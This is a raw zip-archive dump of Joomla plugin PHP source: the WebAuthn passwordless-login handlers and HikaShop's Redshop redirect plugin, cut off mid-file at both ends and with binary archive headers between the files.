			if (!($app instanceof CMSApplication))
			{
				throw new AjaxNonCmsAppException;
			}

			$input    = $app->input;
			$akaction = $input->getCmd('akaction');
			$token    = Joomla::getToken();

			if ($input->getInt($token, 0) != 1)
			{
				throw new RuntimeException(Text::_('JERROR_ALERTNOAUTHOR'));
			}

			// Empty action? No bueno.
			if (empty($akaction))
			{
				throw new RuntimeException(Text::_('PLG_SYSTEM_WEBAUTHN_ERR_AJAX_INVALIDACTION'));
			}

			// Call the plugin event onAjaxWebauthnSomething where Something is the akaction param.
			$eventName = 'onAjaxWebauthn' . ucfirst($akaction);

			$results = $app->triggerEvent($eventName, []);
			$result = null;

			foreach ($results as $r)
			{
				if (\is_null($r))
				{
					continue;
				}

				$result = $r;

				break;
			}
		}
		catch (AjaxNonCmsAppException $e)
		{
			Joomla::log('system', "This is not a CMS application", Log::NOTICE);

			$result = null;
		}
		catch (Exception $e)
		{
			Joomla::log('system', "Callback failure, redirecting to $returnURL.");
			Joomla::setSessionVar('returnUrl', null, 'plg_system_webauthn');
			$app->enqueueMessage($e->getMessage(), 'error');
			$app->redirect($returnURL);

			return;
		}

		if (!\is_null($result))
		{
			switch ($input->getCmd('encoding', 'json'))
			{
				case 'jsonhash':
					Joomla::log('system', "Callback complete, returning JSON inside ### markers.");
					echo '###' . json_encode($result) . '###';

					break;

				case 'raw':
					Joomla::log('system', "Callback complete, returning raw response.");
					echo $result;

					break;

				case 'redirect':
					$modifiers = '';

					if (isset($result['message']))
					{
						$type = isset($result['type']) ? $result['type'] : 'info';
						$app->enqueueMessage($result['message'], $type);

						$modifiers = " and setting a system message of type $type";
					}

					if (isset($result['url']))
					{
						Joomla::log('system', "Callback complete, performing redirection to {$result['url']}{$modifiers}.");
						$app->redirect($result['url']);
					}

					Joomla::log('system', "Callback complete, performing redirection to {$result}{$modifiers}.");
					$app->redirect($result);

					return;

				default:
					Joomla::log('system', "Callback complete, returning JSON.");
					echo json_encode($result);

					break;
			}

			$app->close(200);
		}

		Joomla::log('system', "Null response from AJAX callback, redirecting to $returnURL");
		Joomla::setSessionVar('returnUrl', null, 'plg_system_webauthn');

		$app->redirect($returnURL);
	}
}
PK!;�9�gg*webauthn/src/PluginTraits/UserDeletion.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Webauthn
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Webauthn\PluginTraits;

// Protect from unauthorized access
\defined('_JEXEC') or die();

use Exception;
use Joomla\CMS\Factory;
use Joomla\Database\DatabaseDriver;
use Joomla\Plugin\System\Webauthn\Helper\Joomla;
use Joomla\Utilities\ArrayHelper;

/**
 * Delete all WebAuthn credentials for a particular user
 *
 * @since   4.0.0
 */
trait UserDeletion
{
	/**
	 * Remove all passwordless credential information for the given user ID.
	 *
	 * This method is called after user data is deleted from the database.
	 *
	 * @param   array   $user     Holds the user data
	 * @param   bool    $success  True if user was successfully stored in the database
	 * @param   string  $msg      Message
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 *
	 * @since   4.0.0
	 */
	public function onUserAfterDelete(array $user, bool $success, ?string $msg): void
	{
		if (!$success)
		{
			return;
		}

		$userId = ArrayHelper::getValue($user, 'id', 0, 'int');

		if ($userId)
		{
			Joomla::log('system', "Removing WebAuthn Passwordless Login information for deleted user #{$userId}");

			/** @var DatabaseDriver $db */
			$db = Factory::getContainer()->get('DatabaseDriver');

			$query = $db->getQuery(true)
				->delete($db->qn('#__webauthn_credentials'))
				->where($db->qn('user_id') . ' = :userId')
				->bind(':userId', $userId);

			$db->setQuery($query)->execute();
		}
	}
}
PK!V����2webauthn/src/PluginTraits/AjaxHandlerChallenge.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Webauthn
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Webauthn\PluginTraits;

// Protect from unauthorized access
\defined('_JEXEC') or die();

use Exception;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\User\UserHelper;
use Joomla\Plugin\System\Webauthn\CredentialRepository;
use Joomla\Plugin\System\Webauthn\Helper\Joomla;
use Throwable;
use Webauthn\AuthenticationExtensions\AuthenticationExtensionsClientInputs;
use Webauthn\PublicKeyCredentialRequestOptions;
use Webauthn\PublicKeyCredentialSource;
use Webauthn\PublicKeyCredentialUserEntity;

/**
 * Ajax handler for akaction=challenge
 *
 * Generates the public key and challenge which is used by the browser when logging in with Webauthn. This is the bit
 * which prevents tampering with the login process and replay attacks.
 *
 * @since   4.0.0
 */
trait AjaxHandlerChallenge
{
	/**
	 * Returns the public key set for the user and a unique challenge in a Public Key Credential Request encoded as
	 * JSON.
	 *
	 * @return  string  A JSON-encoded object or JSON-encoded false if the username is invalid or no credentials stored
	 *
	 * @throws  Exception
	 *
	 * @since   4.0.0
	 */
	public function onAjaxWebauthnChallenge()
	{
		// Load the language files
		$this->loadLanguage();

		// Initialize objects
		/** @var CMSApplication $app */
		$app        = Factory::getApplication();
		$input      = $app->input;
		$repository = new CredentialRepository;

		// Retrieve data from the request
		$username  = $input->getUsername('username', '');
		$returnUrl = base64_encode(
			Joomla::getSessionVar('returnUrl', Uri::current(), 'plg_system_webauthn')
		);
		$returnUrl = $input->getBase64('returnUrl', $returnUrl);
		$returnUrl = base64_decode($returnUrl);

		// For security reasons the post-login redirection URL must be internal to the site.
		if (!Uri::isInternal($returnUrl))
		{
			// If the URL wasn't internal redirect to the site's root.
			$returnUrl = Uri::base();
		}

		Joomla::setSessionVar('returnUrl', $returnUrl, 'plg_system_webauthn');

		// Do I have a username?
		if (empty($username))
		{
			return json_encode(false);
		}

		// Is the username valid?
		try
		{
			$userId = UserHelper::getUserId($username);
		}
		catch (Exception $e)
		{
			$userId = 0;
		}

		if ($userId <= 0)
		{
			return json_encode(false);
		}

		// Load the saved credentials into an array of PublicKeyCredentialDescriptor objects
		try
		{
			$userEntity  = new PublicKeyCredentialUserEntity(
				'', $repository->getHandleFromUserId($userId), ''
			);
			$credentials = $repository->findAllForUserEntity($userEntity);
		}
		catch (Exception $e)
		{
			return json_encode(false);
		}

		// No stored credentials?
		if (empty($credentials))
		{
			return json_encode(false);
		}

		$registeredPublicKeyCredentialDescriptors = [];

		/** @var PublicKeyCredentialSource $record */
		foreach ($credentials as $record)
		{
			try
			{
				$registeredPublicKeyCredentialDescriptors[] = $record->getPublicKeyCredentialDescriptor();
			}
			catch (Throwable $e)
			{
				continue;
			}
		}

		// Extensions
		$extensions = new AuthenticationExtensionsClientInputs;

		// Public Key Credential Request Options
		$publicKeyCredentialRequestOptions = new PublicKeyCredentialRequestOptions(
			random_bytes(32),
			60000,
			Uri::getInstance()->toString(['host']),
			$registeredPublicKeyCredentialDescriptors,
			PublicKeyCredentialRequestOptions::USER_VERIFICATION_REQUIREMENT_PREFERRED,
			$extensions
		);

		// Save in session. This is used during the verification stage to prevent replay attacks.
		Joomla::setSessionVar(
			'publicKeyCredentialRequestOptions',
			base64_encode(serialize($publicKeyCredentialRequestOptions)),
			'plg_system_webauthn'
		);
		Joomla::setSessionVar(
			'userHandle',
			$repository->getHandleFromUserId($userId),
			'plg_system_webauthn'
		);
		Joomla::setSessionVar('userId', $userId, 'plg_system_webauthn');

		// Return the JSON encoded data to the caller
		return json_encode(
			$publicKeyCredentialRequestOptions,
			JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE
		);
	}
}
PK!J��88/webauthn/src/PluginTraits/AjaxHandlerCreate.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Webauthn
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Webauthn\PluginTraits;

// Protect from unauthorized access
\defined('_JEXEC') or die();

use Exception;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\User\UserFactoryInterface;
use Joomla\Plugin\System\Webauthn\CredentialRepository;
use Joomla\Plugin\System\Webauthn\Helper\CredentialsCreation;
use Joomla\Plugin\System\Webauthn\Helper\Joomla;
use RuntimeException;
use Webauthn\PublicKeyCredentialSource;

/**
 * Ajax handler for akaction=create
 *
 * Handles the browser postback for the credentials creation flow
 *
 * @since   4.0.0
 */
trait AjaxHandlerCreate
{
	/**
	 * Handle the callback to add a new WebAuthn authenticator
	 *
	 * @return  string
	 *
	 * @throws  Exception
	 *
	 * @since   4.0.0
	 */
	public function onAjaxWebauthnCreate(): string
	{
		// Load the language files
		$this->loadLanguage();

		/**
		 * Fundamental sanity check: this callback is only allowed after a Public Key has been created server-side and
		 * the user it was created for matches the current user.
		 *
		 * This is also checked in the validateAuthenticationData() so why check here? In case we have the wrong user
		 * I need to fail early with a Joomla error page instead of falling through the code and possibly displaying
		 * someone else's Webauthn configuration thus mitigating a major privacy and security risk. So, please, DO NOT
		 * remove this sanity check!
		 */
		$storedUserId = Joomla::getSessionVar('registration_user_id', 0, 'plg_system_webauthn');
		$thatUser     = empty($storedUserId) ?
			Factory::getApplication()->getIdentity() :
			Factory::getContainer()->get(UserFactoryInterface::class)->loadUserById($storedUserId);
		$myUser = Factory::getApplication()->getIdentity();

		if ($thatUser->guest || ($thatUser->id != $myUser->id))
		{
			// Unset the session variables used for registering authenticators (security precaution).
			Joomla::unsetSessionVar('registration_user_id', 'plg_system_webauthn');
			Joomla::unsetSessionVar('publicKeyCredentialCreationOptions', 'plg_system_webauthn');

			// Politely tell the presumed hacker trying to abuse this callback to go away.
			throw new RuntimeException(Text::_('PLG_SYSTEM_WEBAUTHN_ERR_CREATE_INVALID_USER'));
		}

		// Get the credentials repository object. It's outside the try-catch because I also need it to display the GUI.
		$credentialRepository = new CredentialRepository;

		// Try to validate the browser data. If there's an error I won't save anything and pass the message to the GUI.
		try
		{
			/** @var CMSApplication $app */
			$app   = Factory::getApplication();
			$input = $app->input;

			// Retrieve the data sent by the device
			$data = $input->get('data', '', 'raw');

			$publicKeyCredentialSource = CredentialsCreation::validateAuthenticationData($data);

			if (!\is_object($publicKeyCredentialSource) || !($publicKeyCredentialSource instanceof PublicKeyCredentialSource))
			{
				throw new RuntimeException(Text::_('PLG_SYSTEM_WEBAUTHN_ERR_CREATE_NO_ATTESTED_DATA'));
			}

			$credentialRepository->saveCredentialSource($publicKeyCredentialSource);
		}
		catch (Exception $e)
		{
			$error                  = $e->getMessage();
			$publicKeyCredentialSource = null;
		}

		// Unset the session variables used for registering authenticators (security precaution).
		Joomla::unsetSessionVar('registration_user_id', 'plg_system_webauthn');
		Joomla::unsetSessionVar('publicKeyCredentialCreationOptions', 'plg_system_webauthn');

		// Render the GUI and return it
		$layoutParameters = [
			'user'        => $thatUser,
			'allow_add'   => $thatUser->id == $myUser->id,
			'credentials' => $credentialRepository->getAll($thatUser->id),
		];

		if (isset($error) && !empty($error))
		{
			$layoutParameters['error'] = $error;
		}

		return Joomla::renderLayout('plugins.system.webauthn.manage', $layoutParameters);
	}
}
PK!+�~?��2webauthn/src/PluginTraits/AjaxHandlerSaveLabel.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Webauthn
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Webauthn\PluginTraits;

// Protect from unauthorized access
\defined('_JEXEC') or die();

use Exception;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\Plugin\System\Webauthn\CredentialRepository;

/**
 * Ajax handler for akaction=savelabel
 *
 * Stores a new label for a security key
 *
 * @since   4.0.0
 */
trait AjaxHandlerSaveLabel
{
	/**
	 * Handle the callback to rename an authenticator
	 *
	 * @return  boolean
	 *
	 * @throws  Exception
	 *
	 * @since   4.0.0
	 */
	public function onAjaxWebauthnSavelabel(): bool
	{
		// Initialize objects
		/** @var CMSApplication $app */
		$app        = Factory::getApplication();
		$input      = $app->input;
		$repository = new CredentialRepository;

		// Retrieve data from the request
		$credentialId = $input->getBase64('credential_id', '');
		$newLabel     = $input->getString('new_label', '');

		// Is this a valid credential?
		if (empty($credentialId))
		{
			return false;
		}

		$credentialId = base64_decode($credentialId);

		if (empty($credentialId) || !$repository->has($credentialId))
		{
			return false;
		}

		// Make sure I am editing my own key
		try
		{
			$credentialHandle = $repository->getUserHandleFor($credentialId);
			$myHandle         = $repository->getHandleFromUserId($app->getIdentity()->id);
		}
		catch (Exception $e)
		{
			return false;
		}

		if ($credentialHandle !== $myHandle)
		{
			return false;
		}

		// Make sure the new label is not empty
		if (empty($newLabel))
		{
			return false;
		}

		// Save the new label
		try
		{
			$repository->setLabel($credentialId, $newLabel);
		}
		catch (Exception $e)
		{
			return false;
		}

		return true;
	}
}
PK!�'Ѻ�4webauthn/src/PluginTraits/AdditionalLoginButtons.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Webauthn
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Webauthn\PluginTraits;

// Protect from unauthorized access
\defined('_JEXEC') or die();

use Exception;
use Joomla\CMS\Factory;
use Joomla\CMS\Helper\AuthenticationHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\User\UserHelper;
use Joomla\Plugin\System\Webauthn\Helper\Joomla;

/**
 * Inserts Webauthn buttons into login modules
 *
 * @since   4.0.0
 */
trait AdditionalLoginButtons
{
	/**
	 * Do I need to I inject buttons? Automatically detected (i.e. disabled if I'm already logged in).
	 *
	 * @var     boolean|null
	 * @since   4.0.0
	 */
	protected $allowButtonDisplay = null;

	/**
	 * Have I already injected CSS and JavaScript? Prevents double inclusion of the same files.
	 *
	 * @var     boolean
	 * @since   4.0.0
	 */
	private $injectedCSSandJS = false;

	/**
	 * Should I allow this plugin to add a WebAuthn login button?
	 *
	 * @return  boolean
	 *
	 * @since   4.0.0
	 */
	private function mustDisplayButton(): bool
	{
		if (\is_null($this->allowButtonDisplay))
		{
			$this->allowButtonDisplay = false;

			/**
			 * Do not add a WebAuthn login button if we are already logged in
			 */
			try
			{
				if (!Factory::getApplication()->getIdentity()->guest)
				{
					return false;
				}
			}
			catch (Exception $e)
			{
				return false;
			}

			/**
			 * Don't try to show a button if we can't figure out if this is a front- or backend page (it's probably a
			 * CLI or custom application).
			 */
			try
			{
				Joomla::isAdminPage();
			}
			catch (Exception $e)
			{
				return false;
			}

			/**
			 * Only display a button on HTML output
			 */
			if (Joomla::getDocumentType() != 'html')
			{
				return false;
			}

			/**
			 * WebAuthn only works on HTTPS. This is a security-related limitation of the W3C Web Authentication
			 * specification, not an issue with this plugin :)
			 */
			if (!Uri::getInstance()->isSsl())
			{
				return false;
			}

			// All checks passed; we should allow displaying a WebAuthn login button
			$this->allowButtonDisplay = true;
		}

		return $this->allowButtonDisplay;
	}

	/**
	 * Creates additional login buttons
	 *
	 * @param   string  $form             The HTML ID of the form we are enclosed in
	 *
	 * @return  array
	 *
	 * @throws  Exception
	 *
	 * @see AuthenticationHelper::getLoginButtons()
	 *
	 * @since   4.0.0
	 */
	public function onUserLoginButtons(string $form): array
	{
		// If we determined we should not inject a button return early
		if (!$this->mustDisplayButton())
		{
			return [];
		}

		// Load the language files
		$this->loadLanguage();

		// Load necessary CSS and Javascript files
		$this->addLoginCSSAndJavascript();

		// Return URL
		$uri = new Uri(Uri::base() . 'index.php');
		$uri->setVar(Joomla::getToken(), '1');

		// Unique ID for this button (allows display of multiple modules on the page)
		$randomId = 'plg_system_webauthn-' . UserHelper::genRandomPassword(12) . '-' . UserHelper::genRandomPassword(8);

		// Set up the JavaScript callback
		$url = $uri->toString();

		// Get local path to image
		$image = HTMLHelper::_('image', 'plg_system_webauthn/webauthn.svg', '', '', true, true);

		// If you can't find the image then skip it
		$image = $image ? JPATH_ROOT . substr($image, \strlen(Uri::root(true))) : '';

		// Extract image if it exists
		$image = file_exists($image) ? file_get_contents($image) : '';

		return [
			[
				'label'              => 'PLG_SYSTEM_WEBAUTHN_LOGIN_LABEL',
				'tooltip'            => 'PLG_SYSTEM_WEBAUTHN_LOGIN_DESC',
				'id'                 => $randomId,
				'data-webauthn-form' => $form,
				'data-webauthn-url'  => $url,
				'svg'                => $image,
				'class'              => 'plg_system_webauthn_login_button',
			],
		];
	}

	/**
	 * Injects the WebAuthn CSS and Javascript for frontend logins, but only once per page load.
	 *
	 * @return  void
	 *
	 * @since   4.0.0
	 */
	private function addLoginCSSAndJavascript(): void
	{
		if ($this->injectedCSSandJS)
		{
			return;
		}

		// Set the "don't load again" flag
		$this->injectedCSSandJS = true;

		/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
		$wa = Factory::getApplication()->getDocument()->getWebAssetManager();

		if (!$wa->assetExists('style', 'plg_system_webauthn.button'))
		{
			$wa->registerStyle('plg_system_webauthn.button', 'plg_system_webauthn/button.css');
		}

		if (!$wa->assetExists('script', 'plg_system_webauthn.login'))
		{
			$wa->registerScript('plg_system_webauthn.login', 'plg_system_webauthn/login.js', [], ['defer' => true], ['core']);
		}

		$wa->useStyle('plg_system_webauthn.button')
			->useScript('plg_system_webauthn.login');

		// Load language strings client-side
		Text::script('PLG_SYSTEM_WEBAUTHN_ERR_CANNOT_FIND_USERNAME');
		Text::script('PLG_SYSTEM_WEBAUTHN_ERR_EMPTY_USERNAME');
		Text::script('PLG_SYSTEM_WEBAUTHN_ERR_INVALID_USERNAME');

		// Store the current URL as the default return URL after login (or failure)
		Joomla::setSessionVar('returnUrl', Uri::current(), 'plg_system_webauthn');
	}

}
PK!�n�6/webauthn/src/PluginTraits/AjaxHandlerDelete.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Webauthn
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Webauthn\PluginTraits;

// Protect from unauthorized access
\defined('_JEXEC') or die();

use Exception;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\Plugin\System\Webauthn\CredentialRepository;

/**
 * Ajax handler for akaction=savelabel
 *
 * Deletes a security key
 *
 * @since  4.0.0
 */
trait AjaxHandlerDelete
{
	/**
	 * Handle the callback to remove an authenticator
	 *
	 * @return  boolean
	 * @throws  Exception
	 *
	 * @since   4.0.0
	 */
	public function onAjaxWebauthnDelete(): bool
	{
		// Load the language files
		$this->loadLanguage();

		// Initialize objects
		/** @var CMSApplication $app */
		$app        = Factory::getApplication();
		$input      = $app->input;
		$repository = new CredentialRepository;

		// Retrieve data from the request
		$credentialId = $input->getBase64('credential_id', '');

		// Is this a valid credential?
		if (empty($credentialId))
		{
			return false;
		}

		$credentialId = base64_decode($credentialId);

		if (empty($credentialId) || !$repository->has($credentialId))
		{
			return false;
		}

		// Make sure I am editing my own key
		try
		{
			$credentialHandle = $repository->getUserHandleFor($credentialId);
			$myHandle         = $repository->getHandleFromUserId($app->getIdentity()->id);
		}
		catch (Exception $e)
		{
			return false;
		}

		if ($credentialHandle !== $myHandle)
		{
			return false;
		}

		// Delete the record
		try
		{
			$repository->remove($credentialId);
		}
		catch (Exception $e)
		{
			return false;
		}

		return true;
	}
}
PK!�]����/webauthn/src/PluginTraits/UserProfileFields.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Webauthn
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Webauthn\PluginTraits;

// Protect from unauthorized access
\defined('_JEXEC') or die();

use Exception;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\User\User;
use Joomla\CMS\User\UserFactoryInterface;
use Joomla\Plugin\System\Webauthn\CredentialRepository;
use Joomla\Plugin\System\Webauthn\Helper\Joomla;
use Joomla\Registry\Registry;

/**
 * Add extra fields in the User Profile page.
 *
 * This class only injects the custom form fields. The actual interface is rendered through
 * JFormFieldWebauthn.
 *
 * @see     JFormFieldWebauthn::getInput()
 *
 * @since   4.0.0
 */
trait UserProfileFields
{
	/**
	 * User object derived from the displayed user profile data.
	 *
	 * This is required to display the number and names of authenticators already registered when
	 * the user displays the profile view page.
	 *
	 * @var   User|null
	 * @since 4.0.0
	 */
	private static $userFromFormData = null;

	/**
	 * HTMLHelper method to render the WebAuthn user profile field in the profile view page.
	 *
	 * Instead of showing a nonsensical "Website default" label next to the field, this method
	 * displays the number and names of authenticators already registered by the user.
	 *
	 * This static method is set up for use in the onContentPrepareData method of this plugin.
	 *
	 * @param   mixed  $value  Ignored. The WebAuthn profile field is virtual, it doesn't have a
	 *                         stored value. We only use it as a proxy to render a sub-form.
	 *
	 * @return  string
	 */
	public static function renderWebauthnProfileField($value): string
	{
		if (\is_null(self::$userFromFormData))
		{
			return '';
		}

		$credentialRepository = new CredentialRepository;
		$credentials          = $credentialRepository->getAll(self::$userFromFormData->id);
		$authenticators       = array_map(
			function (array $credential) {
				return $credential['label'];
			},
			$credentials
		);

		return Text::plural('PLG_SYSTEM_WEBAUTHN_FIELD_N_AUTHENTICATORS_REGISTERED', \count($authenticators), implode(', ', $authenticators));
	}

	/**
	 * Adds additional fields to the user editing form
	 *
	 * @param   Form   $form  The form to be altered.
	 * @param   mixed  $data  The associated data for the form.
	 *
	 * @return  boolean
	 *
	 * @throws  Exception
	 *
	 * @since   4.0.0
	 */
	public function onContentPrepareForm(Form $form, $data)
	{
		// This feature only applies to HTTPS sites.
		if (!Uri::getInstance()->isSsl())
		{
			return true;
		}

		$name = $form->getName();

		$allowedForms = [
			'com_users.user', 'com_users.profile', 'com_users.registration',
		];

		if (!\in_array($name, $allowedForms))
		{
			return true;
		}

		// Get the user object
		$user = $this->getUserFromData($data);

		// Make sure the loaded user is the correct one
		if (\is_null($user))
		{
			return true;
		}

		// Make sure I am either editing myself OR I am a Super User
		if (!Joomla::canEditUser($user))
		{
			return true;
		}

		// Add the fields to the form.
		Joomla::log(
			'system',
			'Injecting WebAuthn Passwordless Login fields in user profile edit page'
		);
		Form::addFormPath(JPATH_PLUGINS . '/' . $this->_type . '/' . $this->_name . '/forms');
		$this->loadLanguage();
		$form->loadFile('webauthn', false);

		return true;
	}

	/**
	 * Get the user object based on the ID found in the provided user form data
	 *
	 * @param   array|object|null  $data  The user form data
	 *
	 * @return  User|null  A user object or null if no match is found
	 *
	 * @throws  Exception
	 * @since   4.0.0
	 */
	private function getUserFromData($data): ?User
	{
		$id = null;

		if (\is_array($data))
		{
			$id = isset($data['id']) ? $data['id'] : null;
		}
		elseif (\is_object($data) && ($data instanceof Registry))
		{
			$id = $data->get('id');
		}
		elseif (\is_object($data))
		{
			$id = isset($data->id) ? $data->id : null;
		}

		$user = empty($id) ? Factory::getApplication()->getIdentity() : Factory::getContainer()
			->get(UserFactoryInterface::class)
			->loadUserById($id);

		// Make sure the loaded user is the correct one
		if ($user->id != $id)
		{
			return null;
		}

		return $user;
	}

	/**
	 * @param   string|null        $context  The context for the data
	 * @param   array|object|null  $data     An object or array containing the data for the form.
	 *
	 * @return  bool
	 *
	 * @since   4.0.0
	 */
	public function onContentPrepareData(?string $context, $data): bool
	{
		if (!\in_array($context, ['com_users.profile', 'com_users.user']))
		{
			return true;
		}

		self::$userFromFormData = $this->getUserFromData($data);

		if (!HTMLHelper::isRegistered('users.webauthnWebauthn'))
		{
			HTMLHelper::register('users.webauthn', [__CLASS__, 'renderWebauthnProfileField']);
		}

		return true;
	}
}
PK!�#o,,reds_redirect/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!W�����reds_redirect/reds_redirect.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" version="2.5" method="upgrade" group="system">
	<name>Hikashop - Redshop Fallback Redirect Plugin</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>HikaShop</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>This plugin enables you to redirect imported data from Redshop</description>
	<files>
		<filename plugin="reds_redirect">reds_redirect.php</filename>
	</files>
	<params/>
	<config/>
</extension>
PK!�K͉,,reds_redirect/reds_redirect.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgSystemReds_redirect extends JPlugin {

	function __construct(&$subject, $config) {
		parent::__construct($subject, $config);
	}

	function onAfterRoute()
	{
		$app = JFactory::getApplication();

		if(version_compare(JVERSION,'4.0','>=') && $app->isClient('administrator'))
			return true;
		if(version_compare(JVERSION,'4.0','<') && $app->isAdmin())
			return true;

		if(version_compare(JVERSION,'3.0','>=')) {
			$option = $app->input->getVar('option');
			$redsProdId = $app->input->getInt('pid');
			$redsCatId = $app->input->getInt('cid');
			$redsOrderId = $app->input->getInt('oid');
		} else {
			$option = JRequest::getVar('option');
			$redsProdId = JRequest::getInt('pid');
			$redsCatId = JRequest::getInt('cid');
			$redsOrderId = JRequest::getInt('oid');
		}
		if($option != 'com_redshop' )
			return true;

		$url = null; //HIKASHOP_LIVE;
		$db = JFactory::getDBO();
		if(!defined('DS'))
			define('DS', DIRECTORY_SEPARATOR);
		if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php'))
			return true;

		$query='SHOW TABLES LIKE '.$db->Quote($db->getPrefix().substr(hikashop_table('reds_prod'),3));

		$db->setQuery($query);
		$table = $db->loadResult();
		if(empty($table))
			return true;

		if( !empty($redsProdId) && $redsProdId > 0 ) {
			$query = "SELECT a.hk_id, b.product_name as 'name' FROM `#__hikashop_reds_prod` a INNER JOIN `#__hikashop_product` b ON a.hk_id = b.product_id WHERE a.reds_id = " . $redsProdId . ";";
			$baseUrl = 'product&task=show';
		} else if( !empty($redsCatId)  && $redsCatId > 0 ) {
			$id = 'reds-fallback';
			$alias = 'hikashop-menu-for-module-'.$id;
			$db->setQuery('SELECT id FROM '.hikashop_table('menu',false).' WHERE alias=\''.$alias.'\''); //Set ?
			$itemId = $db->loadResult();
			if(empty($itemId)) {
				$options = new stdClass();
				$config =& hikashop_config();
				$options->hikashop_params = $config->get('default_params',null);
				$classMenu = hikashop_get('class.menus');
				$classMenu->loadParams($options);
				$options->hikashop_params['content_type'] = 'category';
				$options->hikashop_params['layout_type']='div';
				$options->hikashop_params['content_synchronize']='1';
				if($options->hikashop_params['columns']==1){
					$options->hikashop_params['columns']=3;
				}
				$classMenu->createMenu($options->hikashop_params, $id);
				$itemId = $options->hikashop_params['itemid'];
			}
			$query = "SELECT a.hk_id, b.category_name as 'name' FROM `#__hikashop_reds_cat` a INNER JOIN `#__hikashop_category` b ON a.hk_id = b.category_id WHERE a.reds_id = " . $redsCatId . " and a.category_type = 'category';";
			$baseUrl = 'category&task=listing&Itemid='.$itemId;
		}elseif(!empty($redsOrderId)){
			$db->setQuery('SELECT order_id FROM '.hikashop_table('order').' WHERE order_reds_id='.$redsOrderId);
			$hikaOrderId = $db->loadResult();
			if(!empty($hikaOrderId)){
				$url = hikashop_completeLink('order&task=show&cid='.$hikaOrderId, false, true);
				$app->redirect($url);
				return true;
			}
		}

		if( !empty($query) && !empty($baseUrl) ) {
			$db->setQuery($query);
			$link = $db->loadObject();
			if( $link ) {
				if(method_exists($app,'stringURLSafe')) {
					$name = $app->stringURLSafe(strip_tags($link->name));
				} else {
					$name = JFilterOutput::stringURLSafe(strip_tags($link->name));
				}
				$url = hikashop_completeLink($baseUrl.'&cid='.$link->hk_id.'&name='.$name, false, true);
			}
		}

		if( $url )
			$app->redirect($url);
	}
}
PK!�#o,,hikashopanalytics/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!Պ�LL'hikashopanalytics/hikashopanalytics.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" version="2.5" method="upgrade" group="system">
	<name>Hikashop Google Analytics Plugin</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>Hikashop</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE / OBSIDEV SARL - All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>This plugin enables you to track your sales with Google Analytics</description>
	<files>
		<filename plugin="hikashopanalytics">hikashopanalytics.php</filename>
	</files>
	<params addpath="/components/com_hikashop/params">
		<param name="use_universal" type="radio" default="0" label="HIKA_USE_UNIVERSAL_ANALYTICS" description="USE_UNIVERSAL_ANALYTICS">
